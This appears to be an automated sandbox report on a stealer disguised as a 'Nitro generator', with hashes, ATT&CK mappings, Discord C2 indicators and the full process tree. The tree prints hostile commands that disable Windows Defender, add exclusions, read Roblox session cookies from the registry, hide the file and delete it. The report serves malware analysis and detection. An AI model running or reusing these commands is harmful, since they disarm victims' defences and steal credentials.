umbral | 52a259a701bb38e3770cbdd87af27124ea6f1821bcea69dab859391e8ab8e84c

Analysis

max time kernel
135s
max time network
118s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
20-05-2024 02:23

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General

Target

PrimeN1troGenerator.exe
Size

214KB
MD5

8bd85b95fd1ac8e340c767285a07fdb9
SHA1

a7078c6bc3bce43e55d276f5a3af06b6be5e239d
SHA256

52a259a701bb38e3770cbdd87af27124ea6f1821bcea69dab859391e8ab8e84c
SHA512

ef778acec8a979a4a17f10ffdbb0c31f5b4dd8e2293ffa3f99624cbc21b892577aaaf9917603b0e9be0818e930ff6b4f51a5e67aab576e6ee67f281fa91be66e
SSDEEP

3072:GlP/chtWkOIGSuvD6vdnsUSaC7liDDxIfbw44lllllj02cgSl8eN7b0JX8OZnXT8:+cyHIGodsUS7eDajb8eNH5OZD

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1404-1-0x00000247B02B0000-0x00000247B02EC000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2988	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
32	discord.com
33	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3844	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4700	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1404	PrimeN1troGenerator.exe
2988	powershell.exe
2988	powershell.exe
4180	powershell.exe
4180	powershell.exe
2028	powershell.exe
2028	powershell.exe
4140	powershell.exe
4140	powershell.exe
3796	powershell.exe
3796	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1404	PrimeN1troGenerator.exe
Token: SeIncreaseQuotaPrivilege	1480	wmic.exe
Token: SeSecurityPrivilege	1480	wmic.exe
Token: SeTakeOwnershipPrivilege	1480	wmic.exe
Token: SeLoadDriverPrivilege	1480	wmic.exe
Token: SeSystemProfilePrivilege	1480	wmic.exe
Token: SeSystemtimePrivilege	1480	wmic.exe
Token: SeProfSingleProcessPrivilege	1480	wmic.exe
Token: SeIncBasePriorityPrivilege	1480	wmic.exe
Token: SeCreatePagefilePrivilege	1480	wmic.exe
Token: SeBackupPrivilege	1480	wmic.exe
Token: SeRestorePrivilege	1480	wmic.exe
Token: SeShutdownPrivilege	1480	wmic.exe
Token: SeDebugPrivilege	1480	wmic.exe
Token: SeSystemEnvironmentPrivilege	1480	wmic.exe
Token: SeRemoteShutdownPrivilege	1480	wmic.exe
Token: SeUndockPrivilege	1480	wmic.exe
Token: SeManageVolumePrivilege	1480	wmic.exe
Token: 33	1480	wmic.exe
Token: 34	1480	wmic.exe
Token: 35	1480	wmic.exe
Token: 36	1480	wmic.exe
Token: SeIncreaseQuotaPrivilege	1480	wmic.exe
Token: SeSecurityPrivilege	1480	wmic.exe
Token: SeTakeOwnershipPrivilege	1480	wmic.exe
Token: SeLoadDriverPrivilege	1480	wmic.exe
Token: SeSystemProfilePrivilege	1480	wmic.exe
Token: SeSystemtimePrivilege	1480	wmic.exe
Token: SeProfSingleProcessPrivilege	1480	wmic.exe
Token: SeIncBasePriorityPrivilege	1480	wmic.exe
Token: SeCreatePagefilePrivilege	1480	wmic.exe
Token: SeBackupPrivilege	1480	wmic.exe
Token: SeRestorePrivilege	1480	wmic.exe
Token: SeShutdownPrivilege	1480	wmic.exe
Token: SeDebugPrivilege	1480	wmic.exe
Token: SeSystemEnvironmentPrivilege	1480	wmic.exe
Token: SeRemoteShutdownPrivilege	1480	wmic.exe
Token: SeUndockPrivilege	1480	wmic.exe
Token: SeManageVolumePrivilege	1480	wmic.exe
Token: 33	1480	wmic.exe
Token: 34	1480	wmic.exe
Token: 35	1480	wmic.exe
Token: 36	1480	wmic.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeIncreaseQuotaPrivilege	3208	wmic.exe
Token: SeSecurityPrivilege	3208	wmic.exe
Token: SeTakeOwnershipPrivilege	3208	wmic.exe
Token: SeLoadDriverPrivilege	3208	wmic.exe
Token: SeSystemProfilePrivilege	3208	wmic.exe
Token: SeSystemtimePrivilege	3208	wmic.exe
Token: SeProfSingleProcessPrivilege	3208	wmic.exe
Token: SeIncBasePriorityPrivilege	3208	wmic.exe
Token: SeCreatePagefilePrivilege	3208	wmic.exe
Token: SeBackupPrivilege	3208	wmic.exe
Token: SeRestorePrivilege	3208	wmic.exe
Token: SeShutdownPrivilege	3208	wmic.exe
Token: SeDebugPrivilege	3208	wmic.exe
Token: SeSystemEnvironmentPrivilege	3208	wmic.exe
Token: SeRemoteShutdownPrivilege	3208	wmic.exe
Token: SeUndockPrivilege	3208	wmic.exe
Token: SeManageVolumePrivilege	3208	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 1480	1404	PrimeN1troGenerator.exe	85
PID 1404 wrote to memory of 1480	1404	PrimeN1troGenerator.exe	85
PID 1404 wrote to memory of 2012	1404	PrimeN1troGenerator.exe	88
PID 1404 wrote to memory of 2012	1404	PrimeN1troGenerator.exe	88
PID 1404 wrote to memory of 2988	1404	PrimeN1troGenerator.exe	90
PID 1404 wrote to memory of 2988	1404	PrimeN1troGenerator.exe	90
PID 1404 wrote to memory of 4180	1404	PrimeN1troGenerator.exe	92
PID 1404 wrote to memory of 4180	1404	PrimeN1troGenerator.exe	92
PID 1404 wrote to memory of 2028	1404	PrimeN1troGenerator.exe	94
PID 1404 wrote to memory of 2028	1404	PrimeN1troGenerator.exe	94
PID 1404 wrote to memory of 4140	1404	PrimeN1troGenerator.exe	96
PID 1404 wrote to memory of 4140	1404	PrimeN1troGenerator.exe	96
PID 1404 wrote to memory of 3208	1404	PrimeN1troGenerator.exe	104
PID 1404 wrote to memory of 3208	1404	PrimeN1troGenerator.exe	104
PID 1404 wrote to memory of 3396	1404	PrimeN1troGenerator.exe	106
PID 1404 wrote to memory of 3396	1404	PrimeN1troGenerator.exe	106
PID 1404 wrote to memory of 4596	1404	PrimeN1troGenerator.exe	108
PID 1404 wrote to memory of 4596	1404	PrimeN1troGenerator.exe	108
PID 1404 wrote to memory of 3796	1404	PrimeN1troGenerator.exe	110
PID 1404 wrote to memory of 3796	1404	PrimeN1troGenerator.exe	110
PID 1404 wrote to memory of 3844	1404	PrimeN1troGenerator.exe	112
PID 1404 wrote to memory of 3844	1404	PrimeN1troGenerator.exe	112
PID 1404 wrote to memory of 1292	1404	PrimeN1troGenerator.exe	114
PID 1404 wrote to memory of 1292	1404	PrimeN1troGenerator.exe	114
PID 1292 wrote to memory of 4700	1292	cmd.exe	116
PID 1292 wrote to memory of 4700	1292	cmd.exe	116

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2012	attrib.exe

C:\Users\Admin\AppData\Local\Temp\PrimeN1troGenerator.exe
"C:\Users\Admin\AppData\Local\Temp\PrimeN1troGenerator.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1480
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\PrimeN1troGenerator.exe"
  2⤵
  - Views/modifies file attributes
  PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PrimeN1troGenerator.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4140
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3208
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3396
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3796
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\PrimeN1troGenerator.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f16a793e7740ab2e354b93ee3e4e6b98

SHA1
c7f109bff1b9f2a7998e951da035c935ec9dae30

SHA256
99bf17a06ac3063964c9882644e403a58b012ec298b675c6f76ec1f556ad4fb7

SHA512
3a81428795954b9a69f4cd519db6604cfd916dda8a4af2e36cc9ca041d34c60db5463fcc03b1f29398696cb3ac4dcb681befe50d7d2d60c8e565df4d024069ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1wngtrfs.d5l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1404-71-0x00000247CA840000-0x00000247CA852000-memory.dmp

Filesize
72KB

Download
memory/1404-34-0x00000247B2040000-0x00000247B205E000-memory.dmp

Filesize
120KB

Download
memory/1404-90-0x00007FFA6C4E0000-0x00007FFA6CFA1000-memory.dmp

Filesize
10.8MB

Download
memory/1404-89-0x00000247CAB00000-0x00000247CACA9000-memory.dmp

Filesize
1.7MB

Download
memory/1404-2-0x00007FFA6C4E0000-0x00007FFA6CFA1000-memory.dmp

Filesize
10.8MB

Download
memory/1404-32-0x00000247CA7C0000-0x00000247CA836000-memory.dmp

Filesize
472KB

Download
memory/1404-33-0x00000247B2070000-0x00000247B20C0000-memory.dmp

Filesize
320KB

Download
memory/1404-70-0x00000247B20C0000-0x00000247B20CA000-memory.dmp

Filesize
40KB

Download
memory/1404-1-0x00000247B02B0000-0x00000247B02EC000-memory.dmp

Filesize
240KB

Download
memory/1404-0-0x00007FFA6C4E3000-0x00007FFA6C4E5000-memory.dmp

Filesize
8KB

Download
memory/2988-4-0x00007FFA6C4E0000-0x00007FFA6CFA1000-memory.dmp

Filesize
10.8MB

Download
memory/2988-15-0x00007FFA6C4E0000-0x00007FFA6CFA1000-memory.dmp

Filesize
10.8MB

Download
memory/2988-14-0x000001E670BC0000-0x000001E670BE2000-memory.dmp

Filesize
136KB

Download
memory/2988-3-0x00007FFA6C4E0000-0x00007FFA6CFA1000-memory.dmp

Filesize
10.8MB

Download
memory/2988-18-0x00007FFA6C4E0000-0x00007FFA6CFA1000-memory.dmp

Filesize
10.8MB

Download